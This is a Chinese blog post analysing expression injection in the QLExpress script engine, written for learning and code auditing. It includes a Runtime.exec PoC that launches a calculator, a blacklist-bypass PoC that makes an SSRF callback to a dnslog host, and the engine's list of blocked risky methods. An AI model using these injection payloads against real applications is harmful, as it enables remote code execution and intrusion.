浅析QLExpress脚本引擎表达式注入漏洞

前言

最近在学习 Java 表达式注入漏洞,前几天完成了 SpEL 表达式注入漏洞的学习:Java代码审计之SpEL表达式注入漏洞分析,而 Java 常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。关于 EL 表达式和 OGNL 表达式注入,可以参考我的另外的博文:

博文内容介绍发布时间
JavaWeb-JSP介绍 JavaWeb 中,JSP 技术的角色和语法(内置对象、作用域等)2018.09.07
JavaWeb-EL表达式学习 EL 表达式在 JSP 技术中的应用,以及基础语法(作用域、内置对象等)2018.09.09
JAVA代审之Struts2漏洞S2-057的调试分析复现、调试分析 Struts2 框架 OGNL 表达式注入漏洞2021.08.19

在开展一个技术点新的学习之前,个人觉得很有必要总结历史已经学习、发表的相关技术博文,一方面是为了回顾已积累的信息,避免浪费时间、重复造车,同时也能形成一个较系统的思维来梳理关联的知识。

关于 Java 表达式注入,另外再推荐一篇较为全面的总结性文章:Java安全学习—表达式注入

而本文将展开学习的是阿里巴巴开源的一款动态脚本引擎解析工具——QLExpress,该脚本引擎在开发人员使用不当的情况下,容易造成表达式注入漏洞,形成 RCE 高危漏洞。

QLExpress

先看下官方文档对今天的主角的简介:
在这里插入图片描述

1.1 关注点的起源

网上对于 QLExpress 脚本引擎表达式注入漏洞的讨论和分析很少,它似乎是在 “华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛 中的一道 CTF Web 题目(BabyQL)被带入网络安全研究人员的关注视线之中。

由于网上 CTF 平台暂时找不到该题目的训练环境,此处截取 官方提供的 WriteUp 信息展开介绍。题目提供了一个 jar 包,idea 查看源码如下:

public class AppController {
    public AppController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Welcome :)";
    }

    @RequestMapping({"/exp"})
    public String exp(@RequestBody Map params) throws Exception {
        String key = "guanzhujiarandundunjiechan";
        String x = params.get("x").toString();
        if (x.hashCode() == key.hashCode() && !x.equals("guanzhujiarandundunjiechan")) {
            String cmd = params.get("cmd").toString();
            Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
            if (pattern.matcher(cmd).find()) {
                return "nonono";
            } else {
                ExpressRunner runner = new ExpressRunner();
                DefaultContext<String, Object> context = new DefaultContext();
                runner.execute(cmd, context, (List)null, true, false);
                return "hack me";
            }
        } else {
            return key;
        }
    }
}

直接总结一下上述代码涉及的“考察点”:

  1. 需要绕过第一个 if 判断中的 hashCode 校验,非核心关注点,不做讨论;
  2. 需要绕过第二个 if 判断中的 黑名单过滤,下文再单独讨论;
  3. 核心要点:runner.execute(cmd, context, (List)null, true, false) 中 cmd 参数由外部可控制,而 ExpressRunner.execute 函数属于 QLExpress 脚本引擎解析、执行表达式的高危函数,此处存在 QLExpress 脚本引擎表达式注入漏洞!

简而言之,最终官方提供的 WriteUp 便是绕过上述 hashCode 和黑名单校验,通过 cmd 参数进行表达式注入并反弹 Shell,达成 RCE。

1.2 本地搭建环境

由于上述 CTF 题目缺乏在线复现环境,故本文不过多 展开讨论,而是通过本地搭建漏洞环境来分析 QLExpress 脚本引擎表达式注入漏洞。
在这里插入图片描述

1、本地随意创建一个 Maven 项目,按照官方文档的指引,在 pom.xml 中添加依赖:

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>QLExpress</artifactId>
  <version>3.3.2</version>
</dependency>

在这里插入图片描述
2、接着即可进行调用测试:

public class QLExpressVulTest {

    public static void qlExpressTest()  {
        try{
            ExpressRunner runner = new ExpressRunner();
            DefaultContext<String, Object> context = new DefaultContext<String, Object>();
            context.put("a", 1);
            context.put("b", 2);
            context.put("c", 3);
            String express = "a + b * c";
            Object r = runner.execute(express, context, null, true, false);
            System.out.println(r);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        qlExpressTest();
    }
}

程序执行结果:
在这里插入图片描述
上述程序通过 ExpressRunner.execute 函数执行了表达式a + b * c并给出了正确的计算结果。正如官方提醒的一样:

如果应用有让终端用户输入与执行 QLExpress 的功能,务必关注 多级别安全控制,将 QLExpress 的安全级别配置在白名单或以上。

3、比如新增测试代码如下,可执行命令运行本地计算器:

    public static void qlExpressVul()  {
        try{
            ExpressRunner runner = new ExpressRunner();
            DefaultContext<String, Object> context = new DefaultContext<>();
            runner.execute("Runtime.getRuntime().exec(\"calc\")", context, null, true, false);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        qlExpressVul();
    }

在这里插入图片描述

1.3 代码执行浅析

runner.execute 代码行增加断点,来看看为什么传入的 expressString 参数会被当作命令执行:
在这里插入图片描述

1、往下继续执行,首先会先判断是否启用缓存,若不启用缓存则调用 parseInstructionSet 进行语义分析,判断是否为合法的 java 代码:
在这里插入图片描述
2、此处 isCache == True,故走进 getInstructionSetFromLocalCache 函数,发现进行了词义解析后走到 executeReentrant 函数。
在这里插入图片描述
3、最终在 QLExpress-3.3.2.jar!\com\ql\util\express\InstructionSetRunner.class 的 execute 函数处执行了 java 代码:
在这里插入图片描述

多级别安全

正如上文所述,QLExpress 提供了自定义代码执行的功能ExpressRunner#execute(),但官方也同时提供了 配置代码执行的黑白名单、开启沙箱的多级别安全功能。
在这里插入图片描述

2.1 黑名单控制

QLExpess 目前默认添加的黑名单有:

java.lang.System.exit
java.lang.Runtime.exec
java.lang.ProcessBuilder.start
java.lang.reflect.Method.invoke
java.lang.reflect.Class.forName
java.lang.reflect.ClassLoader.loadClass
java.lang.reflect.ClassLoader.findClass

可以通过如下方式开启黑名单:

QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

启用黑名单后,前文 1.2 章节的 poc 将无法继续触发:
在这里插入图片描述
同时 QLExpress 还支持用户通过 QLExpressRunStrategy.addSecurityRiskMethod 额外添加自定义黑名单。

但是可以看到默认黑名单简单的禁用了 Runtime 和 ProcessBuilder 等 class,实际上还有很多 bypass 的方法。

比如可以通过如下 POC 形成 SSRF 漏洞:

   public static void qlExpressVul()  {
        try{
            ExpressRunner runner = new ExpressRunner();
            DefaultContext<String, Object> context = new DefaultContext<>();
            QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
            String code = "import java.net.URL;" +
                    "import java.net.URLConnection;" +
                    "URLConnection url = new URL(\"http://x8y5kv.dnslog.cn\").openConnection();" +
                    "resp = url.getResponseCode();" +
                    "resp;";
            runner.execute(code, context, null, true, false);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

DNSlog 服务器成功接收到请求:
在这里插入图片描述
正因黑名单过滤存在的缺陷,官方特意做了安全提醒:

开启 QLExpress 黑名单控制默认会阻断一些高危的系统 API, 用户也可以自行添加, 但是开放对 JVM 中其他所有类与方法的访问,最灵活,但是很容易被反射工具类绕过,只适用于脚本安全性有其他严格控制的场景,禁止直接运行终端用户输入。

2.2 白名单控制

官方提供了白名单的方式,可以通过将预期类的方式加白,避免风险 class 加载,例如如下例子(开启黑名单后又给危险函数设置白名单):

QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
QLExpressRunStrategy.addSecureMethod(Runtime.class, "exec");

在这里插入图片描述

2.3 沙箱模式✔

在这里插入图片描述
开启沙箱模式的方法:

QLExpressRunStrategy.setSandBoxMode(true);

在这里插入图片描述

总结

本文总结学习了 QLExpress 脚本引擎表达式注入漏洞的基本原理和漏洞利用方式,并介绍了官方提供的漏洞防御机制及相关缺陷。可以看出,一旦研发在项目中引入 QLExpress 引擎,却未正确开启安全配置或校验外部传递的表达式,那么将导致系统存在远程代码执行漏洞的风险。

在 Java 白盒审计中如果遇到 QLExpress 引擎,请务必注意:

由于 QLExpress 脚本引擎的多级别安全功能并非默认启用,需要手动配置,故在未启用黑/白名单/沙箱情况下,若表达式参数可控,则可以任意代码执行。

本文参考文章和材料:

  1. QLExpress 官方 Github 文档
  2. 原创 | 从一道CTF题浅谈QLExpress的那些事
  3. 第一届研究生网络安全大赛web部分writeup
  4. 官方WP(一)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值